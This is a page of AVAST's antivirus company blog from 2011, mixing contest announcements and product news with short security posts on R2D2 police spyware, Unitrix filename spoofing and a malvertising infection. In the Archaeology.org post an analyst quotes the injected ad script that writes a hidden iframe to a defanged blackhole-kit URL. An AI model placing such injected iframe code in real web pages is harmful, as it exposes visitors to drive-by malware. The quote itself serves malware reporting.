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January 3rd, 2012

Win a Galaxy Nexus from AVAST and Android Police

The holiday season may be over, but the gift-giving is still going strong.

AVAST Software and Android Police have teamed up to give away ten Galaxy Nexus smartphones  to readers of the popular Android news site.

To enter the contest, visitors to the Android Police site just need to register their name, email address, and show how they have spread the news about the Galaxy Nexus giveaway and avast! Free Mobile Security to their friends via social media including Twitter, Facebook, and Google+. The more ways users spread the news, the higher their chances are of taking home a new phone.

This contest started on January 2 and runs through Saturday, January 7, closing at precisely 23.59 PST.

So, enter quickly and be social. ( :

December 23rd, 2011

Android, new users, and you

You asked for it and here it is … avast! Free Mobile Security, the new app for your Android phone.

In just a few days after its placement in the Android Market, our app has been downloaded by well over 100,000 users. Now we want to know how many people will download this app within the first six weeks of its official launch, from December 22 to February 10.

You tell us the correct number and we will give you a brand new Samsung Galaxy Nexus smartphone.

Just go to our Facebook page, click on the contest tab, and add your estimate along with your contact details. It’s that simple.

You don’t have too much time. The contest kicks off on December 22 and you have only four weeks – till January 19 – to join in the fun.

Your friends also have a chance to win. We are giving away TEN Samsung Galaxy Nexus smartphones to the ten individuals closest to the actual number of downloads registered as of 10:00 CET on February 10, 2012. In addition, we are giving away an additional 300 one-year licenses to our premium avast! Internet Security for the next 300 closest answers.

The number of downloads could be huge – but we just don’t know.

Before we launched avast! Free Mobile Security, a poll of avast! users showed that 19% had Android phones. Of these, 56% said they would be interested in a free avast! security app for their phone.

This holiday season, there are many people that will acquire their first smartphone – and a majority of these will likely be Android phones. According to Gartner research, by end 2011, there will be over a billion smartphones in use around the globe, and a whopping 51% of them will be Android phones. That is a lot of phones to be used, lost, or even stolen.

We’d like to help Android users keep their new toys in good hands – and we’d like to place a new Samsung Galaxy Nexus directly in yours. Tell a friend and make your guess.

 

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December 19th, 2011

A little beta this, a little beta that

It used to be that beta had a specific meaning. And I am not talking about Archimedes.

Beta once meant an early, test version of a program. Run it, play with it, and yes – you’ll find some bugs in there. Now thanks to Google, and its introduction of near-perpetual beta, the meaning has changed. And, this may be close to reality as one journalist told me last week, “Remember, people are beta, too.”

Hmmm, but as the journalist also pointed out,  if a Google beta is essentially complete, then what is our new Android app – avast! Free Mobile Security? It’s out in beta form and it’s on the Google Market. As a dedicated punster, my first idea was to call it alpha-beta. But on a more serious note, I decided to talk to Ondrej Vlcek, our CTO, about what an AVAST Software beta is all about. So here it is: Read more…

November 28th, 2011

R2D2 – Forget the jargon, it’s a wiretap

A short time ago in a galaxy very close by, the German Police and their R2D2 Trojan gave us a simple reminder of what modern malware is all about. It’s wiretapping.

Technical buzzwords usually leave me more puzzled than enlightened. How many of these terms can you identify: backdoor Trojan with mfc42ul.dll, winsys32.sys key logger, Speex codec, full registry access, CJPEG, or acrd~tmp~.exe for a hidden executed application.

Did I lose you? Just think wiretapping in the digital age.

Recently, the German Police had their R2D2 outed by the Chaos Computer Club. It seems that after the Police loaded their R2D2 Trojan onto a suspect’s computer, the defenders of law and order could do the following: Read more…

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November 21st, 2011

Discover lost fortresses and modern malware

History fans  can do more than just learn about a vanished empire in the Sahara. When they visit Archaeology.org, the online publication of the Archaeological Institute of America, they can also pick up malware via an infected advertisement on the page.

“It’s a blackhole attack through advertisements, OpenX in this case,” confirmed Jiri Sejtko, senior virus analyst at the AVAST Virus Lab. “Here it is: OA_output['16'] += “<”+…. document.write(\’<”+”iframe src=\”hxxp://hdfh11.coom.in/main.php?page=423b262d0a1a9f70\”

OpenX is an open-source platform for exchanging advertisements. The blackhole toolkit is, in a nutshell, a system for delivering a wide range of malware. “It could be almost anything, for example a worm or fake antivirus,” added Jiri.

This latest bit of malware was uncovered by computer users researching the hotlinks on a recent National Geographic article http://news.nationalgeographic.com/news/2011/11/111111-sahara-libya-lost-civilization-science-satellites/ and the Discover magazine article Satellite Photos Show Ancient Saharan Fortresses of a Lost Empire. Read more…

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November 8th, 2011

Brazilian wins sweetheart deal

A Brazilian is the 160 millionth registered user of avast! antivirus and has won  a sweetheart trip to Prague for two.

In fact, it is such a sweet deal, it will be Fabricia’s honeymoon and she will come with her husband. It took so long to convince her that the offer of an expenses-paid trip for two to Prague was real – for someone who had just registered a  copy of avast! Free Antivirus and to arrange the trip for her and her new husband – that AVAST has almost added another 20 million registered users in the meantime. We just hope it will be much easier to give away the next trip to Prague.

But, just the facts.

On May 27, Fabricia downloaded and registered a copy of avast! Free Antivirus for her home computer. That’s all. And she went on with her normal life with its facets of work (health sector), love (fiancée), and life together (planning a wedding). And she had absolutely no idea of the commotion that her simple registration would cause over 10,000 km away in the Czech Republic.

In Prague, Julia Szymanska, our AVAST Community Manager, had been getting ready for the registration counter to reach the 160 million mark. With around 100,000 registrations a day, these numbers change quickly. Thankfully, Fabricia had registered with a valid email address. But communication was not easy as there was no response to the first few emails.  For starters, she does not speak English and then she thought the emails were spam.

While some of us were ready to give up, our Brazilian colleague in AVAST took over the task. Marcus  Googled her email address and name to find her work address and then gave her a direct phone call. After several rounds of communication, he succeeded in convincing her that the AVAST offer was real and that she should really accept it. And when we learned that she would be soon be getting married, this put the expenses-paid trip into a new, very romantic perspective.

In two days, our newlyweds will arrive in Prague.  For the two of them, we hope this will be the sweetheart trip they  remember for the rest of their lives. And for the rest of the world, it should be a reminder that a free antivirus can be very good to its users AND please pay attention to your emails. After all, we are about ready to notify the 180 millionth user.

 

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October 14th, 2011

All in the Family with malware

It’s easy to get an “older sister” bit of malware on your computer – even if you don’t want one. Just practice a little “unsafe computing” with four easy steps as outlined by AVAST Virus Lab analyst Michal Krejdl in his recent blog post. As he put it: “She’s a little bit binary, but nobody has a perfect sister, hmm?”

To pick up your own “older sister”, just do the following: Read more…

October 4th, 2011

WebRep: Counting user opinions, 100,000 a second

Building a scalable platform for more than 100,000 requests a second

 

It’s hard to count on popularity. WebRep, the avast! browser plugin that gives users a reputation rating for visited websites, faced scalability issues soon after its launch in early 2011. The number of users shot past the original expectations and the incoming opinions were overwhelming the system.

We started WebRep with the ability to process 10,000 user responses a second, but the system was getting overwhelmed as the number of responses jumped to the 100,000 level. Read more…

September 19th, 2011

Piracy has health issues, but Talking Like a Pirate is risk free

Forget the glamor; piracy has a whole boatload of health risks. Pirates get hung out to dry, lead poisoning from being shot, or trash their computers from downloading a cleverly disguised batch of malware.

This is certainly not visible in the movies where the ‘bad guys’ such as Long John Silver or Captain Jack Sparrow seem to be the only ones having a good time.

International Talk Like a Pirate Day was designed to remedy the modern blues, creating a day (today, September 19) when people can talk or dress like a historical pirate in a safer, more modern environment. Just add an ‘Arrrggghhh’, ‘Ahoy’, and an erudite ‘Whar be me rum!?’ to the daily vocabulary.

At AVAST Software, we have an even easier solution. Add Pirate English to your avast! antivirus.

 

 

 

 

 

 

 

You have two simple options: Pirate audio or the Pirate GUI (with the audio). Read more…

September 7th, 2011

Unpacking the “Unitrix” malware

The “Unitrix” exploit takes several Unicode features designed for right-to-left languages and uses them to mask malicious executables as safe text or video files. Here is a short list of the main options.

We described Unitrix in a recent release Hackers flip filenames to create “safe” file extensions. But, this was just the start of the detective work. Analysis of this exploit showed that the hackers do not directly takeover the infected computers. Instead, they have a “pay per installation” network that provides outsourced infection and malware distribution services for other cybergangs – apparently based in Russia and the Ukraine  – after giving each infected computer its own identification number. And, this gang has the ability to change the final payload thanks to its downloader: rootkit today, tomorrow something else.

We’ve titled this malware W32:Fivfrom. It’s a malware downloader which, after activation, connects to several distribution centers to download and install malware to the infected computer.  We analyzed over fifty separate files, all of which initially looked quite different. But when we looked inside, Read more…